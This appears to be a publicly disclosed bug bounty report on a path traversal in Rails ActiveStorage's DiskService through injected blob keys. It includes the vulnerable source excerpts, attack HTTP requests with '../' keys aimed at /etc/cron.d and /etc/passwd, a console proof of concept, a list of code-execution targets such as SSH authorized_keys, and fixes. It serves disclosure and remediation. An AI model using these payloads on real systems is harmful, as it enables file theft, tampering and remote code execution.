HexBrain

Ruby on Rails · Report #3580511

ActiveStorage Disk Service Path Traversal via Custom Blob Key Injection

Validstatus
mediumseverity
57upvotes
7 May 2026disclosed

How it was found

ActiveStorage Disk Service Path Traversal via Custom Blob Key Injection

Summary

ActiveStorage's DiskService#path_for does not validate or sanitize blob keys before constructing file paths. Combined with the Hash attachable interface — which passes user-supplied key: values directly to Blob.build_after_unfurling without filtering — an attacker who can influence the Hash passed to .attach() can achieve arbitrary file write, read, and delete on the server's filesystem.

The key: parameter is a documented feature intended for S3 folder organization, making it likely that developers will incorporate user input into key construction.

Severity: High (CVSS 8.1 estimated — depends on application-level exposure) Affected component: activestorage (DiskService) Affected versions: All current Rails versions using ActiveStorage with DiskService


Vulnerability Details

1. Hash Attachable Splats All Keys Without Filtering

activestorage/lib/active_storage/attached/changes/create_one.rb:82-88:

when Hash
  ActiveStorage::Blob.build_after_unfurling(
    **attachable.reverse_merge(
      record: record,
      service_name: attachment_service_name
    ).symbolize_keys
  )

When a Hash is passed to .attach(), every key-value pair — including key: — is forwarded to Blob.build_after_unfurling via ** splat.

2. build_after_unfurling Accepts and Stores Arbitrary Keys

activestorage/app/models/active_storage/blob.rb:86-89:

def build_after_unfurling(key: nil, io:, filename:, content_type: nil, metadata: nil, service_name: nil, identify: true, record: nil)
  new(key: key, filename: filename, content_type: content_type, metadata: metadata, service_name: service_name).tap do |blob|
    blob.unfurl(io, identify: identify)
  end
end

A non-nil key: value is passed directly to ActiveStorage::Blob.new.

3. has_secure_token Does Not Overwrite Pre-Set Keys

activerecord/lib/active_record/secure_token.rb:73-77:

set_callback on, on == :initialize ? :after : :before do
  if new_record? && !query_attribute(attribute)
    send("#{attribute}=", generate_token.call)
  end
end

The has_secure_token :key callback on ActiveStorage::Blob only generates a secure random key when the attribute is blank. If a key is already set via the constructor, the callback is a no-op. The custom key getter (blob.rb:176-179) also preserves existing values via self[:key] ||= ....

4. DiskService#path_for Has No Path Traversal Protection

activestorage/lib/active_storage/service/disk_service.rb:101-103, 155-157:

def path_for(key)
  File.join root, folder_for(key), key
end

def folder_for(key)
  [ key[0..1], key[2..3] ].join("/")
end

File.join does not sanitize ../ sequences. There is no validation that the resolved path remains within root. A key like ../../etc/cron.d/evil produces a path that escapes the storage directory.

5. No Key Format Validation on the Blob Model

ActiveStorage::Blob has zero validation on the key attribute:

validates :service_name, presence: true
validates :checksum, presence: true, unless: :composed
# No validates :key, format: ...

The only constraint is the database-level NOT NULL and UNIQUE index, neither of which prevent path traversal characters.


Attack Chain

Attacker-controlled input
    ↓
Hash passed to model.file.attach({ ..., key: "../../malicious" })
    ↓
create_one.rb: **splat passes key: to build_after_unfurling
    ↓
blob.rb: Blob.new(key: "../../malicious", ...) — key stored as-is
    ↓
secure_token.rb: callback sees key is present, skips generation
    ↓
disk_service.rb: path_for("../../malicious")
    → File.join(root, folder_for(key), key)
    → escapes storage root directory
    ↓
upload/download/delete operates on arbitrary filesystem path

Exploitation Scenarios

Scenario A: JSON API with User-Specified Storage Path

The official Rails guide documents using key: for S3 folder organization. A developer building an API may extend this pattern to allow user-specified paths:

class Api::V1::DocumentsController < ApiController
  def create
    file = decode_base64_upload(params[:file_data])

    @project.documents.attach(
      io: file,
      filename: params[:filename],
      content_type: params[:content_type],
      key: "projects/#{@project.id}/#{params[:path]}"  # user input in key
    )

    render json: { status: "uploaded" }
  end
end

Attack request:

POST /api/v1/documents HTTP/1.1
Content-Type: application/json

{
  "file_data": "KiBldmlsIGNyb250YWIgZW50cnkK",
  "filename": "notes.txt",
  "content_type": "text/plain",
  "path": "../../../../etc/cron.d/backdoor"
}

Result: The uploaded content is written to /etc/cron.d/backdoor (if the process has permissions), achieving Remote Code Execution via cron.

Scenario B: Hash Attachable with Unsanitized Params

A developer permits the key parameter through Strong Parameters, following the guide's documented feature:

class AssetsController < ApplicationController
  def create
    current_user.avatar.attach(avatar_params.merge(io: params[:file].tempfile))
  end

  private

  def avatar_params
    params.require(:avatar).permit(:filename, :content_type, :key)
  end
end

Attack request:

POST /assets HTTP/1.1
Content-Type: multipart/form-data

avatar[filename]=photo.jpg
avatar[content_type]=image/jpeg
avatar[key]=../../../../../../tmp/malicious_payload
[email protected]

Result: Arbitrary file write to /tmp/malicious_payload.

Scenario C: Nested Attributes / Model Assignment

When has_one_attached generates an attribute setter, Hash values flow through the vulnerable path:

class User < ApplicationRecord
  has_one_attached :avatar
end

class UsersController < ApplicationController
  def update
    @user.update!(user_params)
  end

  private

  def user_params
    params.require(:user).permit(:name, avatar: {})  # permissive Hash permit
  end
end

A JSON request body like { "user": { "avatar": { "io": ..., "filename": "x.jpg", "key": "../../sensitive" } } } would inject the key through the model assignment path.

Scenario D: Arbitrary File Read via Download

Once a blob with a malicious key is persisted, any subsequent blob.download call reads from the traversed path:

# After malicious blob is saved with key: "../../etc/passwd"
blob = ActiveStorage::Blob.find(malicious_blob_id)
content = blob.download  # reads /etc/passwd via DiskService

If the application exposes blob content through any controller (the default BlobsController, custom download endpoints, etc.), the attacker can read arbitrary files.

Scenario E: Arbitrary File Delete via Purge

# Blob with key: "../../important_app_config.yml"
blob.purge  # calls service.delete(key) → File.delete(path_for(key))

Deleting the blob (via purge, or automatic cleanup of unattached blobs) deletes the traversed file path.


Proof of Concept

Minimal reproduction in a Rails console with DiskService configured:

# 1. Demonstrate that a malicious key bypasses has_secure_token
blob = ActiveStorage::Blob.build_after_unfurling(
  key: "../../traversal_test",
  io: StringIO.new("pwned"),
  filename: "test.txt"
)
puts blob.key  # => "../../traversal_test" (not a secure random token)

# 2. Demonstrate path_for escapes root
service = ActiveStorage::Blob.service  # DiskService instance
puts service.path_for("../../traversal_test")
# => "/rails/storage/../../tr/../../traversal_test"
# Resolves to a path outside /rails/storage/

# 3. Demonstrate via attach (simulating application code)
user = User.new(name: "test")
user.avatar.attach(
  io: StringIO.new("arbitrary content"),
  filename: "innocent.txt",
  key: "../../tmp/activestorage_poc_#{SecureRandom.hex(4)}"
)
user.save!

# Verify file was written outside storage root
poc_key = user.avatar.blob.key
resolved = File.expand_path(service.path_for(poc_key))
storage_root = File.expand_path(service.root)
puts "Key: #{poc_key}"
puts "Resolved path: #{resolved}"
puts "Escaped root?: #{!resolved.start_with?(storage_root)}"  # => true

Suggested Remediation

Option A: Validate Key Format on the Blob Model (Recommended)

Add a validation that rejects keys containing path traversal characters:

# activestorage/app/models/active_storage/blob.rb
validates :key, format: {
  with: /\A[a-zA-Z0-9\-_]+\z/,
  message: "contains invalid characters"
}

Option B: Sanitize in DiskService#path_for

Verify the resolved path stays within the root directory:

# activestorage/lib/active_storage/service/disk_service.rb
def path_for(key)
  path = File.join(root, folder_for(key), key)
  full_path = File.expand_path(path)
  raise ArgumentError, "key escapes storage root" unless full_path.start_with?(File.expand_path(root))
  full_path
end

Option C: Strip key from Hash Attachable

Prevent the key: parameter from being accepted through the Hash attachable path:

# activestorage/lib/active_storage/attached/changes/create_one.rb
when Hash
  ActiveStorage::Blob.build_after_unfurling(
    **attachable.except(:key, "key").reverse_merge(
      record: record,
      service_name: attachment_service_name
    ).symbolize_keys
  )

A combination of Options A and B provides defense-in-depth.


References

  • activestorage/lib/active_storage/service/disk_service.rb:101-103 — path_for (no sanitization)
  • activestorage/lib/active_storage/attached/changes/create_one.rb:82-88 — Hash splat
  • activestorage/app/models/active_storage/blob.rb:86-89 — build_after_unfurling accepts key:
  • activerecord/lib/active_record/secure_token.rb:73-77 — conditional token generation
  • Rails Guide: Attaching File/IO Objects — documents key: parameter usage

Impact

Impact

OperationDiskService MethodPrimitive
uploadIO.copy_stream(io, make_path_for(key))Arbitrary file write + directory creation via mkdir_p
downloadFile.binread path_for(key)Arbitrary file read
deleteFile.delete path_for(key)Arbitrary file delete
delete_prefixedDir.glob(path_for("#{prefix}*")) + rm_rfGlob-based mass delete
exist?File.exist? path_for(key)File existence oracle

With arbitrary file write, an attacker can achieve Remote Code Execution by writing to:

  • Cron directories (/etc/cron.d/)
  • SSH authorized keys (~/.ssh/authorized_keys)
  • Application initializers or configuration files
  • Puma/Unicorn restart-watched files

Who Is Affected

  • Applications using DiskService (default in development; used in production for small/single-server deployments and on-premises environments)
  • Applications where any user input flows into the Hash passed to .attach(), particularly the key: field
  • The official guide's documented key: pattern encourages developers to construct keys from dynamic values, increasing the likelihood of user input reaching this code path

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original